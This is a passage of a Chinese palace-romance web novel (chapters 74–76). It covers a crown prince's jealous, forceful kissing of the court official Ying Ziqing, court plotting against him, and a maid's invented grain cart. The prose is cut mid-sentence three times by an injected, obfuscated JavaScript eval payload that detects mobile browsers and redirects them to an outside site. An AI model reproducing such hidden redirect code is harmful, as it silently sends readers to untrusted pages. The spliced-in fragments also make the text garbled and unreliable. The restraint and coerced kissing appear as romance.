“谁给你上的药?”刘之衍看着她白嫩光洁的后背。
“还能是谁,当然是我自己。”应子清想起马车上的情形,忍不住替谢言昭分辨,“你别胡说八道,他是光明磊落之人……”
光明磊落?刘之衍觉得她天真得可笑,他扣住她的下颔,一点点抬起,让她变成仰视的模样。应子清被迫撞进一双幽暗晦涩的眼眸,心脏徒然狂跳。
刘之衍声线平静,一字一句询问,淡漠得不带一丝感情:“是吗?我想起一件事。之前百花宴上,谢言昭为什么替你求请帖?”
“今夜,你又为什么进他的马车?”
“平白无故,他为什么愿意救你?”
“你告诉我,你们是不是私下有来往?”
第一次,刘之衍在她面前,露出这副不近人情的模样。
刘之衍平常总与她和颜悦色,于是她就忘了,这根本不是什么好相与的谦谦君子。刘之衍是蛰伏的猛兽,暴戾,凶悍,工于心计,睚眦必报,才是他的本色!只不过,他轻易不出手,否则一旦他展露锋芒,便是直击要害。
作为大晋的太子,对刘之衍的攻讦从未停止,可他依旧稳坐太子之位,皆因他几乎无懈可击。
但她知道,他有一个不能说的致命弱点,就是孤独。
自古以来,哪一个君王,不是高处不胜寒?
刘之衍的身边熙熙攘攘,形形色色的人来来往往,或谄媚,或假意奉承。这些人停留在他身边,都抱有自己的目的,从未有人真正想陪伴他。
别人都以为刘之衍站在高位,俯视人间,但旁人唾手可得的温情,于他,却是遥不可及的奢望。姜娘子送他一支随手可见的竹蜻蜓,他看得比金玉还重。可是,这支简简单单的竹蜻蜓,亦是被周遭人妒忌怨恨,趁他不注意时,加以破坏。
正因为如此,应子清明知他的锋芒与偏执,甚至占有欲,她仍然愿意在某些时候,迁就他的心意。因为,她留在刘之衍身边,目的也没有那么纯粹。
不知道从什么时候开始,刘之衍莫名敌视谢言昭?刘之衍脾气本就不好,刚才她该顺着他,而不是顶撞他,刺激得他动怒。
然而到了这个时候,应子清才发现,她的腰被对方牢牢掐住,整个人陷入他的怀里。刘之衍抱她抱得很紧,她几乎动弹不得。
应子清想解释,可惜已经晚了。
应子清再度推倒在松软的锦被之中,她疼得眼尾泛起泪光,挣扎起来。
但这一次,刘之衍不再顾及她的伤口,单手扣住她的双手,推到头顶,将她严严实实压在身下。
应子清身上又疼又难受,堵着一口气,瞪着他。
她也生气了。
这算什么?就算她跟谢言昭私下有来往,那又怎么了?他们清清楚楚。刘之衍不也跟窦兰芷关系好吗?凭什么,凭什么她就要交代清楚?
可是,她挣扎不过,打不过,强横不过他。
刘之衍看着她温软的唇,眼眸彻底暗了,吻住她的嘴唇。她偏开脸想躲避,唇瓣却被强行打开,刘之衍的舌尖探了进来。
两人有过一次亲吻经验,刘之衍好似无师自通,不再青涩懵懂。应子清每一次躲闪,都会引来他更蛮横的入侵,控制她双手的力量,也变得更用力。
她的手腕,想必已经青紫,连呼吸也被攫取,他把她吻得头脑昏沉,几乎喘不上气。
前胸贴上冰凉华贵的衣料,应子清倏然睁大眼睛。
鼻息间,是刘之衍越发动情的缠吻,他看起来快失控了。
怎么会变成这样!
这么凶的刘之衍,让她感觉陌生。
这是东宫寝殿,四下无人,刘之衍在这里要了她,在所有人看来都是很自然的。
应子清打了个冷抖,眼泪顺着脸颊落下。
咸咸的泪水,滑入纠缠湿润的吻里,刘之衍顿了下。
“你在哭。”刘之衍还没从欲望中恢复,声音哑得厉害。
简单的陈述,不知为何,那语调带着浓烈到化不开的感伤。
应子清下意识否认:“不是……”
刘之衍沉默片刻,更紧地抱住她:“不是不喜欢我碰你,对吗?”
“……”
这叫人怎么回答。
应子清僵硬着,眼泪还凝在薄红的眼尾:“刘之衍……”
“嗯。”刘之衍对上她哭得眼尾发红的眼睛,呼吸沉重。
许久,应子清轻喃:“你要对我好……”
好像一直以来,是她陪着他,应子清清楚,其实是刘之衍陪着她。
乍然来到陌生王朝,她一直在心底,克服着种种不适和恐惧。
这里的一切,都透着陌生的气息,没有熟悉的面孔,没有可以倾诉的对象,她的过去都必须深深藏在心底,孤独感如影如随。
应子清在大晋朝奔来跑去,总感觉萧瑟的风声从耳畔吹过,仿佛置身于荒无人烟的旷野。唯有刘之衍陪在她身边,温和地回应着她。
但今天的刘之衍变了,变得那么凶,让她害怕。
应子清闭上眼睛,眼泪落了下来:“你要对我好……”
明明他之前对她很好的……
不要这么对她……
刘之衍微怔,他眼神亮了下,仿佛捕捉到什么极为珍贵的东西。
而后,他下低头,吻掉她的眼泪:“对不起。”
正当应子清觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15155343|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得,这样便是结束。刘之衍圈住娇小柔软的少女,埋入她的颈侧,发狠地咬了口,疼得她一激灵。
白皙的皮肤在顷刻之间,浮起一抹异样艳色。
应子清没能叫出声,她的嘴巴被捂住,刘之衍指尖有意识地滑入她的舌尖,随后脖颈间的撕咬,变成吮舔。
刘之衍缠着她腻了会,再度含住她的嘴唇,湿湿润润亲吻。
应子清呆了一呆,他这种不占便宜就是吃亏的恶劣性子,连吃带拿的,简直叫人发指。
不过这一次的亲吻,带着莫名的甘美,应子清被吻得手脚发软。她好像变成一块麦芽糖,黏糊糊的,柔软的,几乎快要融化。
刘之衍对她柔顺的反应,非常非常高兴,夜间起的邪火消失得一干二净。
只要子清不抗拒他,他很愿意慢慢来。否则他真的会控制不住,宁愿将她强行留在身边,也不愿她心中住进别人。这种事,哪怕想一想,都叫他戾气横生,杀意暴涨。
刘之衍抬起头,额头抵住她的额头,和她对视。
他向来深沉冰冷的黑眸,微微弯起,眼底的温柔几乎能把人溺毙:“嗯,我对你好。”
刘之衍揭过锦被,盖住纤细修长的少女身上,让她睡在自己的被褥里。他又在少女莹白的眉心,落下一个浅浅的吻。
刘之衍眷恋不舍,站了起来:“你在这里休息。”
刘之衍随手捡起披风,罩在肩上,走了出去:“我再处理一下事务。”
应子清很不愿意在他的被窝里睡觉。可是闹了一晚上,她着实有些犯困。她心里叫嚣着,快起来,回自己的小床上。但身上隐隐作痛,她迷蒙的眼睛刚一合上,就着刘之衍身上的气息,默默的睡着了。
影枭和夜鹰,在书房跪了一地。
刘之衍推门进来,两人均是敛容屏息,背脊绷紧。
“小的没照看好应司直,请殿下恕罪!”两人异口同声,请罪道。
他们来之前,已经做好丢掉半条命的准备。
他们是该把任务做好,但首要的,还是该保护应司直才对。是他们错估了形势,还是叫应司直受了伤。
“无妨。”刘之衍并未在意,只是看他们一眼,略微警告道,“下不为例。”
影枭和夜鹰对视一眼,他们都听出,殿下嗓音藏着极淡的愉悦。如果是别人,还都尚可,这件事发生在向来无情冷漠的东宫身上,简直跟暴风雨似的,扑了他们一脸。
看来应司直做了什么,把殿下哄高兴了?
“是!”两人不禁生出劫后余生的庆幸,但他们唯恐东宫看出,都把头低了下去。
刘之衍临窗而立,对着他们下了新命令:“明日你们两个着齐奕山,取回账本。”
“影枭。”刘之衍淡淡点名。
“是,殿下?”影枭抬起头。
刘之衍神色平淡:“把你上次去玉川郡拿到的武将名单,与账本上的名单,仔细对比。有对上的,匿名写一封信给他们,告诉他们,他们闯下的祸,造的孽,已经在圣人案前摆着了。圣人龙颜震怒,不日之后,他们必定祸及家人,身首异处。记得提醒他们,这是天谴,没有一个能逃脱。”
影枭听得心中咯噔一下:“武将……?可是这些武将,手里都有兵,如此恐吓,是不是会……”
刘之衍朝他“应司直在姜泽语心中,埋了一颗钉子,他们今晚必定坐立不安。但还不够。安景王手下的武将心乱了,这场‘逼反’才能真正动起来。”
影枭惶惶一阵,默了一默,答应道:“是。”
75. 第 75 章
宫女一齐推开门窗,浓重的药味,从殿宇里缓缓透出。
申山命人,把织金盘龙帏帐统统勾起,再搬些灵花异草在宫殿周围,用花草的清香,驱散一下大殿里昏昏沉沉的气息。
宫灯点的比往常多一倍,庆帝倚靠在榻上,仍觉得视线昏暗。
太医院院使与两名院判站在角落,彼此交换眼神,轻轻摇头,都不说话。
申山日日跟在庆帝身边,自是清楚,太医院给庆帝开的药方,剂量是越来越重。换句话说,庆帝的沉疴缠身,病情显然到了极为棘手的境地。回想上次去温泉别宫,当时的庆帝,看着精神焕发,实则更像回光返照。
有个小文官,半蹲在庆帝身侧,轻声细语讲着一件事,逗得庆帝的笑声,传得远远的。
申山看过去,那小文官正是窦知微。
庆帝闻着越来越浓的药味,喝起来亦是满口苦涩,他对这药,抗拒不已。药不得不喝,但他也知道,他的病越来越重。
良药苦口,日日夜夜服用却不见好,有时候庆帝不免灰心丧气,不耐烦喝。庆帝不喝,下面的人就会受到责罚。一碗按时吞服的汤药,成了周围的人,最头疼最害怕的事情。
不知从哪日起,窦知微频频来到庆帝身边,汇报他的奏折,读一读其他的书本。他讲话慢条斯理,虽然不甚风趣,却很有道理。再者,他面容稚嫩,一双大眼睛灵动活泛,非常讨喜。
窦知微在的时候,庆帝喝药十分痛快,因而,总是召他过来说笑。
这时,窦知微正说起前日,兵部卢报国大人请他帮忙写佛经一事,不知怎的,卢大人遇到谢言昭,把这件事一说,谢言昭也愿意替他写一部佛经。
庆帝苍白一张脸,微微笑着:“这个卢报国,岂不是有了当朝两位才子的笔墨了?不知道卢报国给你什么酬谢?若是论金银,可就落了俗了!不过朕估摸,那人的脑子,大抵转不过弯来的,多半论价称!”
“微臣并未收到谢礼。”窦知微垂眸,慢声道,“卢大人得了谢大人的笔墨,自是把他的佛经,奉为上品,特意花重金裱起来,送与他的母亲祝寿。”
庆帝看他:“那你写的佛经呢?”
“不知,”窦知微语气轻松,“但下官听说,在兵部的垃圾堆里,发现一部书籍,只可惜沾了污迹,不能用了。也是,微臣怎能跟谢大人相提并论,许是微臣的笔墨,还得再练一练。”
想起窦知微与谢言昭的身世,两人站在一起,窦知微总是被比下去。见多识广的庆帝,亦是叹息:“这么看,你也不容易。”
站在一旁的申山,不由看向窦知微。先前,申山心中不由自主地畏惧这个人,如今听窦知微把自己遇到不堪的事,当作闲谈,讲给庆帝逗闷,申山对他是又敬又害怕。
敬的是,庆帝向来怜弱,听了这档子事,必会对窦知微多加看顾。
果然,下一刻,庆帝笑:“一会儿叫人搬张桌子来,你在朕这里,抄写一部佛经,朕给你指教一下。”
“是,微臣这就去。”窦知微含蓄地点下头,答应下来。
皇帝亲自指教书法,岂是一般人能享受的,窦知微遇上这么一遭,算是圣人眼前的红人了。
申山怎么敢劳动窦知微搬桌子,陪笑道:“窦大人稍等,小的这就吩咐下去。”
几名小太监搬来桌子与笔墨,摆在庆帝的不远处。窦知微身姿板正,坐在一笔一画,认真抄写。
间或,窦知微陪着庆帝闲话家常,他有意无意地说起昨夜,太子私纵亲兵,在长安城的大街上,肆意搜罗,闹得人心惶惶。但太子要找的人是谁,窦知微没说,他下意识把应子清的名字隐去,只说:“微臣担心,此事有损皇家威严,特意向陛下禀明。”
庆帝眼眸一闪,眉头皱紧:“东宫私纵亲兵?申山,有这事吗?”
“私纵亲兵”和“派出亲兵”,这两种说法,包含的意思,大不一样。申山额头沁出些冷汗:“老奴是听到些许风声,但不敢确定……”
庆帝听了,知道果然有这件事,倏尔朝东宫的方向看过去,眼里的情绪混沌不明。
窦知微手中的笔,拿得极稳,连墨点也没溅出分毫:“申公公,咱们长安城,禁卫军有多少人?”
禁卫军是专门负责保卫皇帝的扈从,也是拱卫京城的核心。
窦知微的语调,慢悠悠的,仿若随意谈起。
申山可不敢掉以轻心,他认真思索,给了个数字:“约有十万人?”
十万禁卫军,若是尽数陈列开来,那场面可以说是浩浩荡荡,可以把大明宫保护得严严实实,密不透风。
乍一听,仿若万无一失,十分安全,但窦知微却道:“话是这样说,可真到了战场,绝非这般简单吧。就譬如,调兵遣将,将他们迅速集结,需要耗费极其漫长的时间?”
“是,”申山朝庆帝躬了躬身,谨慎回答,“这禁卫军,又分左右骁卫,左右武卫,左右领军卫。除此之外,还有亲卫,勋卫、翊卫,合成三卫……各个卫队的军牌,在不同将军的手里。若是调动人马,得挨个找他们的将军去。一时半会儿,哪那么容易凑到一起。”
“嗯,”窦知微点头,带着微微笑意,“早听说申公公是百事通,不论大小事,皆能娓娓道来,真乃博闻广识之人,下官钦佩。”
申山“哎哟”了声,连连摆手:“不敢当、不敢当。”
窦知微蘸了蘸墨,随意道:“依微臣看,调动十万禁军,没有一两天的功夫,聚不到一起。如果是千人精兵,可就不同了。指挥千人铁蹄,如臂使指,不消一个时辰,就能踏破大明宫宫门,不需要攻破城门……申公公,是这样吗?”
申山的笑意僵在脸上,只觉得喉咙堵着橄榄:“禁卫军,那是防外贼的。哪有防家贼的,不是有一句俗语吗,‘日防夜防,家贼难防’。”
庆帝常年病重,眼下乌黑,抬起眼睛看人,无端多了层瘆人的寒意:“朕记得,衍儿的亲兵,就有千人。他这些个精兵,有以一敌百之能。”
申山听得心中一悸,阵阵冷汗,浸湿后背。谈话谈到这里,他哪还听不出来,窦知微在给太子殿下挖坑!
门口,有太监唱诺,窦皇后前来向庆帝请安。
窦知微抬起眼,正好撞见窦皇后看过来的眼神,她的眼风跟刀子般,在他身上刮了下。
窦知微面色平静无波,轻轻向窦皇后颔首。
刚才窦知微说东宫的话,窦皇后听去了大半,她看着窦知微,若有所思。
窦皇后感念圣人给她侄女的丰厚赏赐,这几日,一旦有了空,便过来日常请安。
庆帝心里存了事,窦皇后无意久留,两人闲闲聊了几句,例行请安事毕,皇后从殿宇出来了。
路上,窦皇后微微侧首,低声问:“方才在陛下身边的,是不是窦氏的族人?他叫什么名字?”
柴高玄发现,窦皇后对窦舍人是一点印象没有,因而小声回禀:“娘娘,他正是您之前呵斥那位起居郎,窦知微窦大人。”
“出身卑贱的那个?”窦皇后问。
柴高玄应声道:“对。”
窦皇后心中不快,可是转念想到,此人近来很受庆帝的喜爱。要知道,窦家没一个能入得了庆帝的眼睛,不是因为窦家人无能,而是皇帝不希望,前朝后宫里的窦家人越来越多。
倒叫这一个不起眼的少年,钻了空子。
窦皇后想了想,吩咐:“下次他母亲来请安的时候,叫她把这个孩子一起带来见我。”
柴高玄愣住,换成以往,窦皇后绝不可能亲自见这种出身卑贱之人。自从乌嬷嬷被拖走,皇后的许多想法,也跟着变了。
柴高玄小心翼翼答应:“是,老奴知道了。”
太阳升得高高的,晒着小院。
应子清与香巧蹲到一块,躲在檐子下的阴影之处,看着语兰指点木匠,如何打造一辆木头小车。
赈灾运输的途中,运输的车子不够用,给宰相报了奏折,向朝廷申请新制一批,这条奏折在刘之衍手中转了一圈。
语兰听见了,偶然说起她的父亲是个木匠,曾经造过一辆跑得飞快的木头小车。应子清一听,觉得不错,便让她多说说。
就像那些工程师,让语兰说,是很难说的,她对如何制作更精通一些。应子清以“工欲善其事,必先利其器”为理由,连忙借来能工巧匠,在小院子里忙活了这半日。
香巧见那辆木头小车,搭出一个雏形,看上去是比寻常的轮子轻便,她好奇道:“真这么神奇?”
“是,”应子清摇着团扇,“语兰说的时候,我就想起木牛流马……那种车,是专门运粮的工具车,这样的车子适合在山地间行走,速度还很快。只不过失传已久,想不到语兰的父亲做了出来。”
香巧歪着脑袋问:“我没看到牛,也没有看到马,为什么叫车子是木牛流马啊?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15178146|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
应子清失笑:“我乱取的名字,暂时这么叫着吧。”
大晋朝没有木牛流马这个说法,应子清以前从古书中看到的,一下便联想到这里,传闻诸葛亮长于巧思,造木牛流马,为十万大军运送军粮。①
战场瞬息万变,军机不得延误,粮草的及时供给,关乎战局的胜负。因而对运输的车子,十分看重。
语兰若是能将木牛流马重现于世,不失为一件惊世壮举,必定能革新当下的运输方式。
只可惜,语兰还不知道自己在做什么,只当是应子清心血来潮,要看她与木匠一起,做个新鲜的玩意儿。
团扇扇出来的微风,将应子清肩上轻盈的纱,吹起些许。
香巧透过薄纱,见到应子清修长白皙的时脖颈上,有着几抹极为惹眼的红印子。
饶是她还不通事,也大概猜出,这是太子殿下留下的。
难道太子殿下欺负子清姐姐了吗?
香巧不敢问这种红印子是怎么来的,既不像是打闹弄的,也不像失手刮出来的。可是,那圆圆的红印子,到底怎么来的,她琢磨了半天,怎么也猜不到。
忽然之间,香巧鬼使神差,捞起薄袖,在手臂上用力吮了下。她在手臂上,吮出一层浅浅的印子,恰好是圆圆的!
应子清见她目光忽而神游,忽而在手臂上叭唧,狠狠亲了一口,便问:“怎么傻乎乎的,干什么呢?”
香巧的视线,从应子清的脖子流连到锁骨,然后,再往下一点点往下滑,她愣愣道:“原来……是这么来的啊?”
应子清一下便明白她指的什么,一张脸差点没挂住,从耳朵尖爆红到脚趾头。她羞恼气愤,一挥团扇,轻轻拍在香巧脑袋上:“瞎想什么,我这是被蚊子咬的!”
话虽然勉强圆了过去,但应子清不好意思在这里多呆。
夏日炎炎,齐胸襦裙轻薄,脖颈锁骨,一大块皆是露出来的。偏偏她的肤质雪白,几枚印子,红得触目惊心。
这几枚吻痕,自然是那晚上,刘之衍给她弄出来的。她手不离团扇,就是为了遮掩。
哪知道一时松懈,被人认了出来。
应子清站起身,匆匆往屋里走,看看能不能找出纱巾,暂且遮一遮。
路过书房,那里有几道男声低低传出。
刘之衍与一众文官处理公务,他随意抬眼,视线毫不遮掩,黏在她身上。
应子清正从窗前走过,她脸色耳朵绯红,不敢回视,她步履婀娜轻盈,衣袂翩跹,一晃而过。
刘之衍见那明亮的身影消失在转角,眸光默默暗了。
“殿下?殿下!”身边一个文官叫了半天,跟着看过去,但窗外什么都没有。
刘之衍回过神,“嗯”了声:“什么事?”
“宫中有太监来请。”那名文官道。
应子清翻找东西,转身时,忽而撞进一个坚实的怀抱。
是刘之衍。
应子清眨了眨眼,不知道自己是慌张多,还是紧张多。
刘之衍只是微微低头,在她颈边,轻轻嗅了下,就站开了。
微微的触碰,带来丝缕温柔酥痒,比亲吻更叫人的心,跳得厉害。
刘之衍黑沉的目光看着她,专注地注视她,将她的反应一点一滴,收入眼底。他笑,低声道:“你又脸红。”
嗓音沙沙的,带着磨砂感,传入耳中,好似有人在耳朵里,极轻极缓地摩挲,扰得应子清心尖都在发抖。
应子清闭了闭眼,无可奈何:“干什么?”
刘之衍仍然在笑,不过眼神却看窗外,那里立着一个毕恭毕敬的太监。
应子清扫了一眼,只觉得不太妙。
刘之衍用只有两个人能听见的声音,低声道:“宫里出事了,太后忽然病重,传我去侍奉,以尽孝道。”
“太后病重?”应子清吃了一惊,“什么时候的事?”
“尚不清楚。”刘之衍摇摇头,眉心微微蹙起,“我来更衣,马上跟着进宫。”
“好。”应子清答应。
刘之衍不是真的来换衣服,他眼中闪过沉甸甸的冷光:“我进宫前,还有一道旨意,叫我卸去兵甲,不能带一刀一兵,乃至护卫。”
这正是山雨欲来风满楼的兆头,应子清手脚顿时冰凉:“这是什么意思?怀疑你?谁下的旨意?”
半晌,刘之衍说:“是我父皇下的旨。”
76. 第 76 章
“子清姐姐,你的唇色,好像擦了胭脂那么红……”
刘之衍跟着公公进了宫,应子清独自在寝殿,坐了一会。香巧进来,瞧着她,说了这么一句话。
应子清有些不好意思,顺手拿起团扇,掩了一掩。
给刘之衍换衣服,系腰带的时候,刘之衍顺势把她抱在怀里。她一仰头,嘴唇被对方轻啄了下。
应子清心中忧虑他进宫的事情,就没有推拒。
谁知道,刘之衍误以为她很喜欢,当即用力扣紧她的腰身,吻了下来。
刘之衍表面吻得温柔矜持,看不见之处,舌尖是探了进去,勾缠着她的。
门口站着陌生人,又是这种暗地充满侵略性的亲法……应子清连挣扎的动作,也不敢太大。
她轻轻喘息,又恼又急,原本洁白的耳垂,红得滴血。
刘之衍见她淡粉色的唇瓣,被他轻轻咬成靡丽的红,心满意足放开她。
刘之衍脸色向来平静,看不出什么,但他说话时,尾音带着些许上扬:“我走了。”
他给应子清留了把匕首,是他的母妃李贵人送给他的礼物,上面有块鸽血般剔透的红宝石。
太子身边亲近的人,都见过这把赤血匕首,亦知它的重要性。
见赤血匕首,如见太子令,若应子清有需要,可以随意调动他的亲卫。
这是何等的权力,刘之衍等于把自己保命的盔甲,直接套在她身上。
只不过进一趟宫,侍奉病重的傅太后,刘之衍一时照看不到她,担心她,怕有死士神出鬼没,更怕她再度受伤,就给她最好的,让她保护自己。
奇怪的是,刘之衍一字未说,但她接过赤血匕首的瞬间,就知道他的所思所想。
应子清独坐发呆,就是因为想到这个。
东宫的主心骨进了宫,晚间吃饭时,大家照常热热闹闹。主座上空无一人,这热闹里,凭空多了丝寂寥的滋味。
有人小心翼翼问起殿下去哪了,应子清怕他们担心,没有多说,照实转达了公公的话,说他进宫陪伴傅太后去了。
到了晚上,应子清拉着语兰几个,在院子里用木牛流马,做着各种实验。
语兰见她这么热情,也是诧异:“子清姐姐这么喜欢这小车?”
应子清笑盈盈:“你真不知道自己做了什么?”
“做了……一辆小车?”语兰试探回答,这有什么值得高兴的?
应子清笑了好一会,指了指木牛流马:“明天你和我一起去见薛宰相,将这辆‘特行者数十里,群行三十里’运粮车献于朝廷。”
“啊?”语兰顿时脸色煞白,“我、我去见薛宰相?”
“对,”应子清点头,“今晚你可以好好想想,为它取个名字!”
“不是叫木牛流马吗?”香巧在旁边问。
应子清道:“那是我随意取的,作不得数。正式的命名,还是交给语兰吧。”
这个地方又没有木牛流马,真正的原创者当属语兰。
香巧不明白:“叫什么名字,不都一样?”
“当然不一样,”应子清给她解释,“譬如你喜欢一样东西,比如木工好了,然后你发明了一辆小车,比别的小车顺手,大家都爱用。可是,别人总不能‘东西东西’这么叫吧!你定好了名字,大家一念它的名字,都知道是你做的。听起来,是不是很有成就感?”
香巧认真想象了下,眼里渐渐浮起羡慕之色:“哇,那是不是可以叫语兰车啊,这样大家都知道是语兰做的……”
“语兰车?不错,”应子清笑着,望向语兰,“说不定还会载入史书,某年某日某女,制语兰车,‘载一岁粮,日行二十里,而人不大劳’!”②
语兰神色恍惚,僵着笑容,跟着点了点头。
应子清奇怪,怎么看着,语兰不像高兴的样子?但她转念又想,估计还没反应过来?
第二日清晨,马车到了宰相府邸,语兰呆呆坐在车厢里,没有下车的意思。
应子清在下面等了一会,语兰闭着眼叹息,鼓足了勇气,才慢慢下了车。
“之前你不是来过吗?”应子清看着她。
薛沛南断腿那会儿,是语兰与张泰耀,天天过来帮忙复健。
“嗯。”语兰蚊子似的音量,小小声答应。
新制的车子,提前送了过来,薛正源与一众小官吏,在小院空地上试用。
因着应子清提前写好了使用说明,有一文书,站在一旁,捧着那卷说明书。
越往里走,语兰脚步越是迟缓。
应子清以为她胆怯,上前牵住她,带着她走:“别怕,有我呢,今日咱们为你讨个功劳。”
语兰低头不语,杏子般水润的眼睛,凝着些许水光。
薛正源面容俊雅,眼角生了若有若无的细纹,但这无损于他的风采,反而添了几分威严。人到了中年,薛正源依然背脊挺拔,多年官海沉浮,他的周身,自然而然散发不怒自威的气场。
薛正源朝她们看了过来,应子清明显感觉到,语兰仿佛腿软了下,头低得更低了。
应子清心中咯噔一下,疑虑渐深,但她佯装不知:“见过薛宰相。”
薛正源点了点头,随手指了下小车:“方才我们都验过了,东宫所献之物,精妙绝伦,是不可多得的好东西。本相定当如实上报朝廷,到时候圣人会论功行赏,恩赏于你们。”
应子清才不会被他三言两语打发,进而向前:“这件运粮车,名叫语兰车,正是我身边的宫女所献。她叫周语兰,父亲是位手艺精湛的木匠,这辆运粮车,正是融汇了他们周家的巧思。还请薛宰相,将这一点陈明。”
小车取什么名字,语兰本没什么主意,那日香巧随口说的“语兰车”,她觉得不错。应子清听了,也觉得还行,便这么定了。
薛正源很淡地扫了她们一眼:“此类关乎民生之举,命名一事,不是你等擅自作主,须得请朝廷斟酌裁定。”
这群高官,果然没把她们放在眼底,不打算给她们命名权。
应子清抬起眼,冷冷直视薛正源:“此事,是得了太子殿下首肯的。若薛宰相不愿意麻烦,那我也只好带着语兰车,返回东宫,如实回禀!”
眼看对话变得激烈,语兰不由拉住应子清的手,轻轻摇晃求饶,希望应子清不要为她争取,就这样算了。
应子清捏了捏她的手,示意语兰不要管。
却听一阵拐杖敲击地面的声音,薛沛南手里拿着一根竹杖,走到这里。他已经能自主下地走路,不需要别人搀扶。薛沛南看着薛正源,叫了一声:“父亲。”
语兰听得薛沛南的声音,浑身一震,她倏尔抬头,忽然落下一滴泪来。她慌忙眨了眨眼,垂下头不敢动作,唯恐薛沛南看见她。
薛沛南早看到她们两人,因而才出来打圆场,他笑:“父亲,东宫既然敲定此事,必然有他的道理。既然如此,我们还是依东宫的主意办吧。”
薛正源问:“你如今可好了?”
薛沛南挪动步子,在竹杖的支持下,缓慢走到应子清面前,他抬手,向应子清深深作一揖:“多谢应司直,若没有你那张强身健体的方子,恐怕我下半辈子,只能躺在病榻上苟延残喘,再无站立的可能。”
薛正源闻言,心中亦是感念万千。他这个儿子,生得英俊聪颖,着实惹人喜爱。只可惜家中长辈纵容,薛沛南性子又过于轻佻散漫,行事随心所欲。他以前便觉得,这个儿子迟早会在阴沟里翻船,吃个大亏。
本以为薛沛南坠了马,余生便是这样了,没想到,还能有这番奇遇。
薛正源望过去,只见那名容颜妍丽的女官,站得笔直,神色不卑不亢。被儿子一提醒,学正源严肃的态度,跟着放缓:“还没来得及酬谢,多谢应司直出手搭救犬子。本相方才那番话,并非推诿,朝廷之事不是那么简单。不过你们的请求,本相会竭尽全力为你们争取,算是本相的谢礼。”
事情就这么定了,应子清亦是松口气。
虽说她领着官职,但那是在内廷行走,在朝廷上说不上话。二是她那个五品司直,到了宰相面前,就是小官,确实不够看。但她不想语兰的功劳,被随随便便抹消。朝廷赏赐金银,哪里能跟命名权相比,因此她宁愿顶撞宰相,也要争取下来。
薛沛南咳嗽了声,情眼脉脉,轻言细语:“你还好吗?”
应子清愣了下,发现薛沛南这句话,是对语兰说的!
薛沛南向来喜欢招蜂引蝶,应子清心中一紧,不会吧,语兰遇到的那个渣男,难道是薛沛南?!
语兰的头快低到地上去了,青石板铺就的小路,滴滴答答,落下一圈一圈湿漉漉的泪痕。
语兰在哭。
想起那日语兰满心绝望,独自走向水井,应子清心脏泛起酸涩。她把语兰护在身后,瞪过去:“你别来打扰她!”
薛沛南柔声,仿佛有无限情意:“语兰,我有话要对你说。”
语兰再度听见这份温柔,痛痛快快哭了一会。她红着眼抬起脸,怯弱的脸上,第一次露出决绝的神色:“薛公子,我也有话要与你说。”
语兰含着泪,微笑道:“子清姐姐,这些日子,我从你身上学到许多道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15187357|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
理。从前的我,鲁莽又糊涂,如今我已经懂得事理,再也不会重蹈覆辙。请姐姐成全,让我与他说说话。有些过往纠葛,是时候做个了断。我也想给自己一个交代。”
应子清微怔,轻轻抱了下语兰,然后松开手。
宰相府的后院,有一处安静的小亭,应子清在这里闲坐,等着语兰。
这日天气不太好,不见日光,却也没下雨。炎炎夏日,青石板上,蒸出闷闷的潮湿之意,空气里有股青苔的香。
应子清倚着凉亭围栏,看着一个方向,发着呆。
谢言昭在凉亭站了许久。
少女纤细手腕,支着小巧的下颔,凭阑眺望。
绯红轻纱裹着莹白的肩,有重重衣衫遮挡,不知道她之前受的伤,还疼不疼?有没有愈合?
谢言昭动了动,缓步来到她身边,但没有离得很近,他保持着一段克制谨慎的距离。
应子清回过头,眼神一亮:“是你!”
谢言昭看得分明,她转身之前,眼底明明藏着一朵乌云,但一看到他,干净明亮的双眸,弯成漂亮的月牙。
少女藏着心事,可是不打算告诉他。
谢言昭那双眸子温温润润,被他盯着看,也不觉得慌乱,反而有种心安的平静感。因为知道他这样儒雅端方的人,宽容和气,哪怕在他面前犯了错,他是不会怪罪的。
如果说,刘之衍是那种飞扬跋扈的冰山学霸,谢言昭便是那种温和内敛,人际关系特别好的学霸。
应子清站了起来:“那日谢公子救了我,我还没来及的感谢。”
谢言昭摇头:“举手之劳,何足挂齿。”
应子清不客气:“是你说的啊,我就不感谢你了。”
“……”谢言昭微怔,他确实没想过要被感谢,可是她这么直接道出来,他反而不知道说什么好。
心尖像被调皮的猫爪子,轻轻挠了下,谢言昭眼眸垂下,稍稍侧开脸:“如果我想要感谢,你能给吗?”
这次换应子清呆了下,她有些窘迫:“你要的谢礼如果很贵,我攒一攒也是可以的,但你需要等一等……”
